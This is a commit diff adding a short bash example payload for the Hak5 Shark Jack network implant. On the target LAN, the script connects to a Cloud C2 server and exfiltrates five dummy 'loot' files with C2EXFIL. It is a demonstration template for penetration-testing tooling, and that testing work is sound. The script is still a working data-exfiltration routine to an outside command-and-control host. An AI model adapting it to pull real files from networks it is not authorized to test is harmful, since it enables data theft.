Added example Cloud C2 multi-file exfil payload

payloads/library/example/cloudc2-multi-file-exfiltration/payload.sh

@@ -0,0 +1,38 @@
+#!/bin/bash
+# 
+# Title: Example Cloud C2 Multi-File Exfiltration Payload
+# Author: Hak5Darren
+# Version: 1.0
+# Requirements: Firmware v1.1.0+, Cloud C2
+# 
+# Description: This example payload demonstrates how to use C2EXFIL to
+# exfiltrate multiple files to Cloud C2. Requires a Cloud C2 server
+# setup and running (download from https://c2.hak5.org) and this 
+# Shark Jack to be provisioned (guide from https://docs.hak5.org)
+
+LOOT_DIR=/root/loot/c2_exfil_example
+LED SETUP
+
+# Make 5 test loot files
+mkdir -p $LOOT_DIR
+for n in {1..5}; do dd if=/dev/zero of="$LOOT_DIR/file$n.txt" bs=1 count=1024; done
+
+# Get an IP address on the target LAN
+NETMODE DHCP_CLIENT
+
+# Wait until the Shark Jack has an IP address
+while ! ifconfig eth0 | grep "inet addr"; do sleep 1; done
+
+LED ATTACK
+
+# Connect to Cloud C2
+C2CONNECT
+
+# Wait until Cloud C2 connection is established
+while ! pgrep cc-client; do sleep 1; done
+
+# Exfiltrate all test loot files
+FILES="$LOOT_DIR/*.txt"
+for f in $FILES; do C2EXFIL STRING $f Example; done
+
+LED FINISH